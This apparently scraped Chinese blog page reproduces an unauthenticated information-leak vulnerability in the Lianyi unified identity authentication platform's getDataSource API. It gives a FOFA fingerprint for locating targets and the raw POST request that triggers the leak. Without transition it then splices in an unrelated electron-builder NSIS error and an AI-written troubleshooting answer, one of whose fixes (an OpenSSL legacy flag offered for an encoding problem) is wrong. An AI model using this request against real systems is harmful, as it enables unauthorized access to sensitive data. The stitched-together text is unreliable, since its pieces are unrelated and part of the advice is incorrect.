【漏洞复现】联奕统一身份认证平台getDataSource存在信息泄露漏洞

这篇文章揭示了联奕统一身份认证平台的一个未授权访问漏洞,攻击者可通过特定请求获取敏感数据。文章提供了漏洞复现步骤以及提醒读者此类信息仅供安全检测和维护使用,非授权操作需自行负责。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

免责声明:文章来源互联网收集整理,文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

一、漏洞简介

联奕统一身份认证平台 getDataSource 未授权访问,攻击者可通过此漏洞获取敏感信息。

二、影响版本

联奕统一身份认证平台

三、资产测绘

  • fofa:icon_hash="772658742"
  • 特征

image-20240326234635891

四、漏洞复现

POST /api/bd-mdp/serviceManager/outInterface/getDataSource HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Transfer-Encoding: chunked
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

0


image-20240326234137810

makensis.exe exited with code ERR_ELECTRON_BUILDER_CANNOT_EXECUTE Output: Command line defined: "APP_ID=com.jcloud.shixinhua.kantuwang" Command line defined: "APP_GUID=f756239e-0578-500f-8e70-d9a7ed28da2f" Command line defined: "UNINSTALL_APP_KEY=f756239e-0578-500f-8e70-d9a7ed28da2f" Command line defined: "PRODUCT_NAME=��ͼ��" Command line defined: "PRODUCT_FILENAME=��ͼ��" Command line defined: "APP_FILENAME=leidian" Command line defined: "APP_DESCRIPTION=kantuwang" Command line defined: "VERSION=1.0.26" Command line defined: "PROJECT_DIR=D:\���\�ֻ����\1_1_h5-image-template-proj" Command line defined: "BUILD_RESOURCES_DIR=D:\���\�ֻ����\1_1_h5-image-template-proj\dist_electron" Command line defined: "APP_PACKAGE_NAME=leidian" Command line defined: "MUI_ICON=D:\���\�ֻ����\1_1_h5-image-template-proj\build\ktw.ico" Command line defined: "MUI_UNICON=D:\���\�ֻ����\1_1_h5-image-template-proj\build\ktw.ico" Command line defined: "APP_64=D:\���\�ֻ����\1_1_h5-image-template-proj\dist_electron\leidian-1.0.26-x64.nsis.7z" Command line defined: "APP_64_NAME=leidian-1.0.26-x64.nsis.7z" Command line defined: "APP_64_HASH=7746E13555ED88FD120D0DD1DB898C2E9A370C2454BEBF266C4B7EA4855A43F441A1655305EFD74DA0065E08DD2E8F56BF51484303FC3ADCCFCB8E2C41812B9D" Command line defined: "COMPANY_NAME=kantuwang" Command line defined: "APP_PRODUCT_FILENAME=��ͼ��" Command line defined: "APP_INSTALLER_STORE_FILE=leidian-updater\installer.exe" Command line defined: "COMPRESSION_METHOD=7z" Command line defined: "HIDE_RUN_AFTER_FINISH" Command line defined: "MULTIUSER_INSTALLMODE_ALLOW_ELEVATION" Command line defined: "INSTALL_MODE_PER_ALL_USERS_REQUIRED" Command line defined: "allowToChangeInstallationDirectory" Command line defined: "SHORTCUT_NAME=��ͼ��" Command line defined: "UNINSTALL_DISPLAY_NAME=��ͼ��" Command line defined: "MUI_WELCOMEFINISHPAGE_BITMAP=${NSISDIR}\Contrib\Graphics\Wizard\nsis3-metro.bmp" Command line defined: "MUI_UNWELCOMEFINISHPAGE_BITMAP=${NSISDIR}\Contrib\Graphics\Wizard\nsis3-metro.bmp" Command line defined: "ESTIMATED_SIZE=338749" Command line defined: "COMPRESS=auto" Command line defined: "BUILD_UNINSTALLER" Command line defined: "UNINSTALLER_OUT_FILE=D:\���\�ֻ����\1_1_h5-image-template-proj\dist_electron\__uninstaller-nsis-leidian.exee" Processing config: C:\Users\ASUS\AppData\Local\electron-builder\Cache\nsis\nsis-3.0.4.1\nsisconf.nsh Processing script file: "<stdin>" (ACP) Error output: !include: could not find: "D:\外包\手机真机\1_1_h5-image-template-proj\node_modules\app-builder-lib\templates\nsis\include\StdUtils.nsh" Error in script "<stdin>" on line 1 -- aborting creation process at ChildProcess.<anonymous> (D:\外包\手机真机\1_1_h5-image-template-proj\node_modules\builder-util\src\util.ts:250:14) at Object.onceWrapper (node:events:628:26) at ChildProcess.emit (node:events:513:28) at ChildProcess.cp.emit (D:\外包\手机真机\1_1_h5-image-template-proj\node_modules\cross-spawn\lib\enoent.js:34:29) at maybeClose (node:internal/child_process:1100:16) at Process.ChildProcess._handle.onexit (node:internal/child_process:304:5) { exitCode: 1, alreadyLogged: false, code: 'ERR_ELECTRON_BUILDER_CANNOT_EXECUTE' }解决这个报错
03-17
<think>嗯,用户遇到了一个错误,makensis.exe退出了,错误代码是ERR_ELECTRON_BUILDER_CANNOT_EXECUTE。首先,我需要理解这个错误的原因。根据提供的日志,错误信息显示无法找到StdUtils.nsh文件,路径是"D:\外包\手机真机\1_1_h5-image-template-proj\node_modules\app-builder-lib\templates\nsis\include\StdUtils.nsh"。看起来问题出在NSIS脚本处理时找不到这个头文件。 首先,应该检查这个文件是否真的存在。可能的情况是node_modules里的依赖没有正确安装,或者路径中有中文字符导致的问题。用户的项目路径中有“D:\外包\手机真机”,这些中文字符可能会让NSIS处理时出现编码问题,尤其是在Windows系统上,如果系统区域设置不是中文,可能导致路径识别错误。 另外,用户可能在安装依赖时使用了npm或者yarn,但可能由于网络问题导致部分文件没有下载完整。或者是electron-builder的缓存问题,需要清理缓存重新安装。 还有可能是electron-builder版本的问题,某些旧版本可能存在路径处理的问题,尤其是在包含非ASCII字符的路径下。因此,建议用户升级electron-builder到最新版本,看看是否能解决这个问题。 此外,用户的项目路径中有空格,比如“1_1_h5-image-template-proj”,虽然通常空格不会有问题,但有时候某些工具处理时可能会有异常,不过结合错误提示,主要问题还是路径中的中文字符。 解决方案可能包括:确保依赖安装正确,清理缓存,重新安装node_modules;将项目路径改为全英文;更新electron-builder;手动检查缺失的文件是否存在,或者尝试手动复制StdUtils.nsh到指定路径。 需要逐步排除可能的原因,先从简单的步骤开始,比如清理缓存和重新安装依赖,如果不行再尝试修改项目路径,最后考虑升级工具版本或者手动修复文件路径。</think>这个错误是由于NSIS打包过程中无法找到`StdUtils.nsh`脚本文件导致的。以下是分步排查和解决方案: --- ### **错误原因分析** 1. **路径编码问题** 日志中路径包含中文乱码(如`D:\���\�ֻ����\...`),说明系统或构建工具可能无法正确处理中文字符路径。 2. **依赖文件缺失** `StdUtils.nsh`是NSIS插件库文件,electron-builder未正确安装或缓存损坏导致文件丢失。 3. **node_modules问题** 依赖安装不完整或权限问题导致`app-builder-lib`模块未正确加载。 --- ### **解决方案** #### 步骤1:修复路径编码问题 - **临时方案** 将项目移动到**纯英文路径**(如`D:\projects\h5-template`),避免中文目录。 - **永久方案** 修改系统区域设置为UTF-8(Windows设置 → 时间和语言 → 区域 → 更改系统区域设置 → 勾选"Beta版: 使用Unicode UTF-8...")。 #### 步骤2:清理并重装依赖 ```bash # 删除现有依赖 rm -rf node_modules rm -rf package-lock.json # 清除electron-builder缓存 npm cache clean --force rm -rf ~/.cache/electron-builder # 重新安装依赖 npm install ``` #### 步骤3:手动修复缺失文件 如果错误仍存在,尝试手动操作: 1. 从[NSIS StdUtils插件仓库](https://github.com/SuperPat45/NSIS-StdUtils)下载`StdUtils.nsh`。 2. 将其复制到以下路径: ``` node_modules/app-builder-lib/templates/nsis/include/ ``` #### 步骤4:升级electron-builder ```bash npm install electron-builder@latest --save-dev ``` --- ### **补充说明** - **日志中的乱码问题** 若控制台输出仍有乱码,尝试在构建命令前设置编码: ```bash set NODE_OPTIONS=--openssl-legacy-provider npm run build ``` - **NSIS版本兼容性** 确保系统安装的NSIS版本与electron-builder兼容,建议使用NSIS 3.0+。 --- 完成上述步骤后,重新运行构建命令即可解决此问题。如果仍有其他依赖缺失,请按相同逻辑补充对应文件。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值